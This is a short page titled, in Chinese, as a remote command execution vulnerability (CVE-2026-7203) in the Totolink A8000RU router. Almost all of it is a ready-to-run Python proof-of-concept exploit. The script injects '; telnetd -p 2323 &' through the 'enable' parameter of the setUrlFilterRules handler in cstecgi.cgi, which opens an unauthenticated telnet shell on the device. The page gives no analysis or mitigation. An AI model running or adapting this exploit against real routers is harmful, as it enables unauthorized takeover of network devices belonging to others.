CVE-2026-7203 Totolink A8000RU远程命令执行漏洞

import requests # Target URL of the vulnerable device target_url = "http://192.168.0.1/cgi-bin/cstecgi.cgi" # Headers usually required for the request headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/json" } # The vulnerable function is setUrlFilterRules # The parameter 'enable' is vulnerable to OS command injection # Example payload: enable telnetd on port 2323 payload_data = { "topicurl": "setUrlFilterRules", "enable": "; telnetd -p 2323 &" # Note: The specific key structure might vary based on firmware implementation, # but 'enable' is the vulnerable argument mentioned in the CVE. } try: # Sending the malicious request response = requests.post(target_url, json=payload_data, headers=headers, timeout=5) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check if telnet is running on port 2323.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")